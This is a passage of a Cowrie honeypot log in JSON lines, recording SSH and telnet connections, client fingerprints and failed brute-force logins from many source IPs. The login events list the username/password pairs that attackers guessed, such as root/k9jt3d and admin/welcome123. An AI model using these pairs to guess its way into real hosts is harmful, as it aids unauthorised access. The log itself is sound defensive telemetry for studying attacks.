nge-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:06.893114Z","src_ip":"186.233.118.22","session":"9a0db3a5dccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:07.398867Z","src_ip":"186.233.118.22","session":"9a0db3a5dccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:08.523120Z","src_ip":"186.233.118.22","session":"9a0db3a5dccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00306749343872,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:23.317913Z","src_ip":"186.55.200.230","session":"af48c10acacc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":53978,"dst_ip":"159.203.135.109","dst_port":23,"session":"914caf4fc27f","protocol":"telnet","message":"New connection: 186.55.200.230:53978 (159.203.135.109:23) [session: 914caf4fc27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:25.768268Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":58634,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d3040c6b5cb","protocol":"ssh","message":"New connection: 171.244.141.86:58634 (10.17.0.5:22) [session: 5d3040c6b5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:27.465260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:27.470287Z","src_ip":"171.244.141.86","session":"5d3040c6b5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:27.743309Z","src_ip":"171.244.141.86","session":"5d3040c6b5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k9jt3d","message":"login attempt [root/k9jt3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:28.714848Z","src_ip":"171.244.141.86","session":"5d3040c6b5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:29.951313Z","src_ip":"171.244.141.86","session":"5d3040c6b5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00603580474854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:34.527679Z","src_ip":"186.55.200.230","session":"340e381b9be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":55762,"dst_ip":"159.203.135.109","dst_port":23,"session":"da0931489c7e","protocol":"telnet","message":"New connection: 186.55.200.230:55762 (159.203.135.109:23) [session: da0931489c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:34.836283Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":46588,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1814515f2b0","protocol":"ssh","message":"New connection: 222.107.156.227:46588 (10.17.0.5:22) [session: c1814515f2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:46.277630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:46.290030Z","src_ip":"222.107.156.227","session":"c1814515f2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:46.492314Z","src_ip":"222.107.156.227","session":"c1814515f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49290,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9d1585eef2","protocol":"ssh","message":"New connection: 2.57.121.25:49290 (10.17.0.5:22) [session: ae9d1585eef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:46.771426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:46.776902Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:46.876790Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:47.327485Z","src_ip":"222.107.156.227","session":"c1814515f2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120578","message":"login attempt [user/120578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:47.349892Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12051978","message":"login attempt [user/12051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:48.452059Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:48.533012Z","src_ip":"222.107.156.227","session":"c1814515f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":57220,"dst_ip":"159.203.135.109","dst_port":22,"session":"65166cedfc7e","protocol":"ssh","message":"New connection: 14.103.118.145:57220 (159.203.135.109:22) [session: 65166cedfc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:49.548319Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"120491","message":"login attempt [user/120491] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:49.555011Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120487","message":"login attempt [user/120487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:50.757132Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120387","message":"login attempt [user/120387] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:51.859808Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":49000,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7659679fb1d","protocol":"ssh","message":"New connection: 213.230.127.104:49000 (10.17.0.5:22) [session: c7659679fb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:52.879150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:52.883883Z","src_ip":"213.230.127.104","session":"c7659679fb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:52.961621Z","src_ip":"2.57.121.25","session":"ae9d1585eef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:53.054438Z","src_ip":"213.230.127.104","session":"c7659679fb1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop12","message":"login attempt [root/qwertyuiop12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:53.768246Z","src_ip":"213.230.127.104","session":"c7659679fb1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":57854,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f095430822","protocol":"ssh","message":"New connection: 94.159.98.239:57854 (159.203.135.109:22) [session: 10f095430822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:54.733948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:54.810655Z","src_ip":"94.159.98.239","session":"10f095430822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:54.919566Z","src_ip":"94.159.98.239","session":"10f095430822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:54.945492Z","src_ip":"213.230.127.104","session":"c7659679fb1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killkill","message":"login attempt [root/killkill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:55.698509Z","src_ip":"94.159.98.239","session":"10f095430822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:56.910727Z","src_ip":"94.159.98.239","session":"10f095430822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":57100,"dst_ip":"159.203.135.109","dst_port":22,"session":"31cfa93553a8","protocol":"ssh","message":"New connection: 186.246.14.196:57100 (159.203.135.109:22) [session: 31cfa93553a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:57.623468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:57.628421Z","src_ip":"186.246.14.196","session":"31cfa93553a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:57.802658Z","src_ip":"186.246.14.196","session":"31cfa93553a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:58.538230Z","src_ip":"186.246.14.196","session":"31cfa93553a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:59.712068Z","src_ip":"186.246.14.196","session":"31cfa93553a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":59816,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c83fc019933","protocol":"ssh","message":"New connection: 20.203.42.204:59816 (10.17.0.5:22) [session: 3c83fc019933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:06.422330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:06.428315Z","src_ip":"20.203.42.204","session":"3c83fc019933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:06.605004Z","src_ip":"20.203.42.204","session":"3c83fc019933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"welcome123","message":"login attempt [admin/welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:07.320235Z","src_ip":"20.203.42.204","session":"3c83fc019933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:08.506922Z","src_ip":"20.203.42.204","session":"3c83fc019933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":46398,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5f48e8f57ff","protocol":"ssh","message":"New connection: 89.190.156.8:46398 (10.17.0.5:22) [session: c5f48e8f57ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:11.782184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:35:11.787278Z","src_ip":"89.190.156.8","session":"c5f48e8f57ff","protocol":"ssh"}
